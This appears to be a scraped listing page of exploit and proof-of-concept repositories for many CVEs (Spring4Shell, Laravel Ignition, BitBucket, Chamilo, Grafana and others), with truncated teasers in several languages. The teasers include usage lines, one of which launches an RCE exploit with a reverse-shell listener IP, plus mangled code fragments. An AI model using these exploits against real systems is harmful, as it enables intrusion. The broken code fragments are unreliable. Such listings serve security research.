CVE-2022-22965

CVE-2022-22965 Spring Framework/CVE-2022-22965 ID di vulnerabilità: CVE-2022-22965/CNVD-2022-23942/QVD-2022-1691 Riprodurre la vulnerabilità root@kitploit: docker pull vulfocus/spring-core-rce-2022-03-29 docker run -dit -p 8080:8080 vulfocus/spring-core-rce-2022-03-29 Rilevamento della...

hacktivity-vulns-exploits-lab

Vulnerabilità, Exploit e Payload di Accesso Remoto — writeup di laboratorio La mia guida e analisi del foglio Hacktivity Cyber Security Labs "Vulnerabilities, Exploits, and Remote Access Payloads" corso di Ethical Hacking e Penetration Testing, Leeds Beckett University. Tratta come le vulnerabili...

CVE-2021-3129_exploit

CVE-2021-3129exploit Exploit für CVE-2021-3129 Laboreinrichtung: root@kitploit: $ git clone https://github.com/laravel/laravel.git $ cd laravel $ git checkout e849812 $ composer install $ composer require facade/ignition==2.5.1 $ php artisan serve Verwendung: root@kitploit: $ git clone...

chakra-exploit-framework

Chakra Exploitation Framework Questo repository contiene il Browser Exploitation Framework che ho scritto per prepararmi al corso EXP-401. Il framework ha come target il motore Chakra, che faceva parte di Edge fino al passaggio a v8 nel 2019. La vulnerabilità demo utilizzata nel framework è la Ty...

CVE-2024-21513

CVE-2024-21513 PoC per CVE-2024-21513 Exploit originale documentato da Snyk Security Research Exploit CVE-2024-21513 è una vulnerabilità in langchain-experimental in cui risultati di query SQL non validati venivano passati a eval di Python, consentendo l'esecuzione di codice remoto tramite...

CVE-2020-5902

CVE-2020-5902 root@kitploit: / \ \ / / | | \ / \ \ / \ | / \ / \ \ | | \ \ / /| | | | | | | | | || || | | | | | | | \ / / | |/ /| | | |/ /| | | || \, | | | |/ / | | \ / | | / /| || / /| || | | / /| || / / | / || ||/|/ |/ // /| CVE-2020-5902-Scanner.py @nsflabs L'interfaccia utente di...

CVE-2024-54761

BigAnt Office Messenger 5.6.06 में SQL इंजेक्शन के माध्यम से RCE BigAnt Messenger में SQL इंजेक्शन भेद्यता RCE भेद्यता का कारण बनती है। शोषण करने के लिए चरणों का पालन करें। उपयोग: root@kitploit: CVE-2024-54761.py -h -r RHOST -p RPORT -u USERNAME -P PASSWORD options: -h, --help show this help...

CVE-2022-21907

CVE-2022-21907 Descrizione - POC per CVE-2022-21907: vulnerabilità di esecuzione remota di codice nello stack di protocollo HTTP. - creato da antx il 2022-01-17. Dettagli - Vulnerabilità di esecuzione remota di codice nello stack di protocollo HTTP. - Simile a...

CVE-2023-4220

CVE-2023-4220 Exploit Chamilo LMS - Esecuzione di codice remoto non autenticata tramite caricamento di file di grandi dimensioni Uso cve-2023-4220.sh ./cve-2023-4220.sh ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1 root@kitploit: ./cve-2023-4220.sh -h Usage for RevShell: ./cve-2023-4220.sh...

CVE-2020-2551

CVE-2020-2551 Weblogic IIOP Deserialisierung Testumgebung Weblogic10.3.6+jdk1.6 Vorgepacktes JAR-Paket Extraktionscode: a6ob Exploit Laden Sie das JAR-Paket herunter, starten Sie dann mit marshalsec einen bösartigen RMI-Dienst und kompilieren Sie lokal eine exp.java root@kitploit: package payload...

CVE-2022-35914_poc

CVE-2022-35914poc Modificato per GLPI Offsec Lab: calluserfunc, arraymap, passthru Riferimenti Modificato per funzionare per il Proving Grounds Practice Lab: GLPI https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr...

CVE-2020-26217-XStream-RCE-POC

CVE-2020-26217-XStream-RCE-POC z. B. root@kitploit: package org.example; import com.thoughtworks.xstream.XStream; import java.io.IOException; public class CVE202026217 public static void mainString args throws IOException XStream xStream = new XStream; String payload = "\n" + " \n" + " \n" + " 0\...

CVE-2022-36804-PoC

CVE-2022-36804-PoC Multithreaded Exploit-Skript für CVE-2022-36804, das die meisten BitBucket-Versionen 8.3.1 betrifft. Das vollständige Advisory finden Sie hier https://jira.atlassian.com/browse/BSERV-13438 Alle Anerkennung für die Entdeckung gebührt TheGrandPew Das Skript erkennt automatisch...

CVE-2022-36804

CVE-2022-36804 PoC Dieses Repository enthält einen einfachen Proof-of-Concept-Exploit für die kürzlich entdeckte BitBucket-Schwachstelle zur Codeausführung von entfernten Standorten CVE-2022-36804. Für die Ausnutzung dieser Schwachstelle ist Zugriff auf ein Repository auf der Zielinstanz...

http-vuln-CVE-2022-41082

LA VERSIONE AGGIORNATA CONSENTE ANCHE IL CONTROLLO HTTPS exchange-vuln-check.nse PER HTTP: nmap -p80 --script exchange-vuln-check.nse PER HTTPS: nmap -p443 --script exchange-vuln-check.nse SALVA I RISULTATI IN UN FILE nmap -p80 --script exchange-vuln-check.nse -oN results.txt...

CVE-2018-16763

CVE-2018-16763 CVE-2018-16763 FuelCMS 1.4 Execução Remota de Código, esta versão do FuelCMS ainda está vulnerável até agora...

CVE-2020-9047

Menu de Uso/Ajuda root@kitploit: usage: CVE-2020-9047.py -h -p RPORT -s LPORT --command -d WEBDIR -U USERNAME -P PASSWORD WINDOWS,LINUX,CHECK RHOST LHOST PAYLOAD Exploit for exacqVision Web Service as outlined in CVE-2020-9047. This program targets Windows and Linux x86 installations of exacqVisi...

CVE-2019-18935

CVE-2019-18935 Exploit de prova de conceito para uma vulnerabilidade de desserialização JSON .NET no Telerik UI for ASP.NET AJAX que permite execução remota de código. Descrição Telerik UI for ASP.NET AJAX é um conjunto amplamente utilizado de componentes de interface para aplicações web. Ele...

CVE-2023-4861-PoC

CVE-2023-4861 PoC Questo repository contiene una prova di concetto in Python per CVE-2023-4861 , un problema di esecuzione remota di codice autenticato nel plugin WordPress File Manager Pro - Filester. Riepilogo della vulnerabilità CVE: CVE-2023-4861 Prodotto: File Manager Pro - Filester filester...

CVE-2024-9264

CVE-2024-9264 Grafana Post-Auth DuckDB SQL Injection RCE, Lettura file Proof of Concept PoC Questa PoC dimostra lo sfruttamento di CVE-2024-9264 usando un utente autenticato per eseguire una query SQL DuckDB e leggere un file arbitrario dal filesystem o eseguire codice arbitrario in remoto. Il...